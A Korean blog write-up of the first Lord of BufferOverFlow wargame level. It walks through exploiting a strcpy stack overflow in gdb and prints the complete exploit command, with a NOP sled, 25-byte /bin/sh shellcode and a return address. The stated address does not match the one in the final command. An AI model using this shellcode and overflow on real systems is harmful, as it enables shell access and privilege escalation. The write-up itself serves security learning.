[Lord Of BufferOverFlow] 1번 gate -> gremlin

2021. 2. 22. 03:18·Write-Up/LOB(lord of bufferoverflow)
반응형

login : gate

password : gate

 

gremlin / grelin.c 두개 존재.

cat을 이용해 gremlin.c을 보면

/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

strcpy함수는 문자열 길이를 검사하지 않고 NULL을 만나기 전까지 복사한다.

이러한 점을 이용하여 buffer overflow를 낼것이다.

gdb를 이용하여 파일을 자세히 볼 것이다.

여기서 set disassembly-flavor intel은 intel방식으로 본다는 것을 명령어로 쳐준다.

 

Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret

main+59 (0x804846b)에 break point를 걸고

버퍼와 ebp를 260만큼 A로 채워주었다.

r `python -c 'print "\x90" *260'` 

 

 

nop sled를 이용해서 쉘코드를 실행시킬수 있다.

여기서 ret 은 쉘코드 실행위치로 넣어주면 되는데 A가 채워진 부분에 주소를 넣어주면 

어차피 nop을 만나면서 계속 그냥 지나가 결국 쉘코드를 만나게 될것이다.

 

쉘코드는 25바이트

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

이용할 것이다.

 

ret 위치에는 0xbffff940을 넣을것인데 리틀엔디안 형식으로 입력되므로

거꾸로 \x40\xf9\xff\xbf로 입력해주자

 

 

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*35+"\xd8\xf9\xff\xbf"'`

 

참고로 비밀번호는 my-pass 입력하면됨

 

느낀점

포너블은 처음부터 너무 빡센거같다;

 

반응형

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글

[Lord Of BufferOverFlow] 6번 wolfman -> darkelf  (0) 2021.02.25
[Lord Of BufferOverFlow] 5번 orc -> wolfman  (0) 2021.02.25
[Lord Of BufferOverFlow] 4번 goblin -> orc  (0) 2021.02.23
[Lord Of BufferOverFlow] 3번 cobolt -> goblin  (0) 2021.02.23
[Lord Of BufferOverFlow] 2번 gremlin -> cobolt  (0) 2021.02.23
'Write-Up/LOB(lord of bufferoverflow)' 카테고리의 다른 글
  • [Lord Of BufferOverFlow] 5번 orc -> wolfman
  • [Lord Of BufferOverFlow] 4번 goblin -> orc
  • [Lord Of BufferOverFlow] 3번 cobolt -> goblin
  • [Lord Of BufferOverFlow] 2번 gremlin -> cobolt
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (151) N
      • Java & Spring (3) N
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    concurrenthashmap vs hashmap
    동시성
    코딩테스트
    시스템해킹
    Bubble Sort
    코드트리조별과제
    putval()
    thread-safe
    spring
    hashmap vs concurrenthashmap
    selection sort
    DB정리
    enumerate #list comprehension
    AtomicLong
    tabat
    LOB
    nop sled
    MAP
    lord of bufferoverflow
    코드트리
    computeifabsent
    computeifpresent()
    동시성처리
    computeifpresent
    Java
    spring boot
    ConcurrentHashMap
    sqlinjection
    computeifabsent()
    CountDownLatch
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord Of BufferOverFlow] 1번 gate -> gremlin
상단으로

티스토리툴바